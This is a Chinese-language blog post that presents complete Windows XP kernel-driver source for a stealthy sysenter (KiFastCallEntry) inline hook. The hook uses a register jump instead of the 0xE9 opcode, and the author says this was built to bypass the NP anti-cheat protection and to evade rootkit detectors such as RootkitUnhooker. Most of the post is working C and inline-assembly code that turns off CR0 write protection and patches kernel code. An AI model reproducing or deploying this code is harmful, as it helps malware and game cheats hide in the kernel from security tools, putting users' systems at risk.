2010年12月5日 星期日

另一種sysenter hook方法(繞過絕大多數的rootkit檢測工具的檢測)

先廢話,當初是為了繞開NP對sysenter保護而想出來的,


後來發現連RootkitUnhooker都繞了.


 
什麼是sysenter hook我也不囉唆了,


一般的攔截方法就是通過rdmsr wrmsr 兩個指令


把原來的sysenter地址改成自己的sysenter地址來實現的.


這種方法使用方便,但檢測也很容易.

     這裡介紹的另外一種方法不改變sysenter地址,


而是通過直接在原來sysenter地址裡面寫跳轉代碼來實現的,


這實際上跟一般的函數頭inline hook一樣.


這樣rootkit檢測工具就不會認為sysenter已經改變(實際上也是沒變).

     一般的rootkit檢測工具檢測函數inline hook


是通過檢測長跳轉指令0xE9的來判斷跳轉距離


是不是超出函數所在的模塊範圍來確定的.


但是實現跳轉我們也可以借助寄存器或變量(用變量跳轉需要涉及重定位問題


,麻煩.所以一般用寄存器),這樣跳轉指令就不是0xE9了而是0xFF,


這個絕大多數rootkit檢測工具是檢測不到的(包括著名的
RootkitUnhooker,VICE).



     由於我們已經改變了KiFastCall函數頭,


所以我們只能把原來的函數頭代碼放到另外一個地方執行


(動態分配內存,當然如果不考慮兼容性硬編碼也沒問題),


然後再跳轉回來.這裡使用了"三級跳",大概是這個樣子.

     sysenter->KiFastCall

              JMP -> MyKiFastCall(這裡進行攔截或什麼的)

                     JMP -> KiFastCall head code (這裡執行原來KiFastCall函數頭代碼)

                            JMP -> KiFastCall + N(已經執行指令長度)

///////////////////////////////////////////////////////////////////////////////////////////////////  

//墮落天才

//2007年4月14日

#include<ntddk.h>

#include "OpCodeSize.h"



ULONG uSysenter;            //sysenter地址

UCHAR uOrigSysenterHead[8];//保存原來的八個字節函數頭

PUCHAR pMovedSysenterCode; //把原來的KiFastCall函數頭保存在這裡

ULONG i;                    //記錄服務ID

__declspec(naked) void MyKiFastCallEntry(void)

{

   __asm


{

             pop   edi      //因為用到了edi來跳轉 這裡恢復

              mov   i, eax   //得到服務ID

   }

   __asm


{  

            pushad

            push fs

              push 0x30

             pop fs

   }

  

   DbgPrint("sysenter was hooked! Get service ID:%X",i); //證明自己存在



   __asm


{

              pop fs

              popad    

     jmp pMovedSysenterCode //第二跳,跳轉到原來的函數頭代碼

   }

  

}

//////////////////////////////////////////////////////

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{    

   __asm


{

     cli

     mov   eax,cr0

     and   eax,not 10000h

     mov   cr0,eax

   }



   memcpy((PVOID)uSysenter,uOrigSysenterHead,8);//把原來函數頭的八個字節恢復



   __asm


{

     mov   eax,cr0

     or    eax,10000h

     mov   cr0,eax

     sti

   }

   ExFreePool(pMovedSysenterCode); // 釋放分配的內存

   DbgPrint("Unload sysenterHook");

}

////////////////////////////////////////////////////////



VOID HookSysenter()

{

   UCHAR   cHookCode[8] = { 0x57,           //push edi        第一跳,從KiFastCall跳到MyKiFastCallEntry.並繞過rootkit檢測工具檢測

                           0xBF,0,0,0,0,   //mov   edi,0000

                           0xFF,0xE7};     //jmp   edi



   UCHAR   JmpCode[]={0xE9,0,0,0,0};        //jmp 0000 第三跳,從KiFastCall函數頭代碼跳轉到原來KiFastCall+N



   int     nCopyLen = 0;

   int     nPos = 0;



   __asm


   {

     mov ecx,0x176

     rdmsr

     mov uSysenter,eax   //得到KiFastCallEntry地址

   }

   DbgPrint("sysenter:0x%08X",uSysenter);

   nPos = uSysenter;



   while(nCopyLen<8)


   {


//我們要改寫的函數頭至少需要8字節 這裡計算實際需要COPY的代碼長度 因為我們不能把一條完整的指令打斷

     nCopyLen += GetOpCodeSize((PVOID)nPos);   //參考1

     nPos = uSysenter + nCopyLen;

   }

  

   DbgPrint("copy code lenght:%d",nCopyLen);



   pMovedSysenterCode = ExAllocatePool(NonPagedPool,20);



   memcpy(uOrigSysenterHead,(PVOID)uSysenter,8);//備份原來8字節代碼



   *((ULONG*)(JmpCode+1)) = (uSysenter + nCopyLen) - ((ULONG)pMovedSysenterCode + nCopyLen)- 5;//計算跳轉地址



   memcpy(pMovedSysenterCode,(PVOID)uSysenter,nCopyLen); //把原來的函數頭放到新分配的內存

   memcpy((PVOID)(pMovedSysenterCode + nCopyLen),JmpCode,5); //把跳轉代碼COPY上去



   *((ULONG*)(cHookCode+2)) = (ULONG)MyKiFastCallEntry; //HOOK地址

  

   DbgPrint("Saved sysenter code:0x%08X",pMovedSysenterCode);

   DbgPrint("MyKiFastCallEntry:0x%08X",MyKiFastCallEntry);



   __asm


  {

     cli

     mov   eax,cr0

     and   eax,not 10000h

     mov   cr0,eax

   }



   memcpy((PVOID)uSysenter,cHookCode,8);//把改寫原來函數頭



   __asm


{

     mov   eax,cr0

     or    eax,10000h

     mov   cr0,eax

     sti

   }



}



NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)

{



   DbgPrint("Welcome to sysenterhook.sys");

   DriverObject->DriverUnload = OnUnload;

   HookSysenter();

   return STATUS_SUCCESS;

}    

///////////////////////////////////////////////////////////////////////////////////////////////////

以上代碼在 XP SP2中文 + RootkitUnhooker下測試通過


同理 IDT hook也可以用這種方法實現,HOOK的實質是改變程序流程,無論在哪裡改變


沒有留言:

張貼留言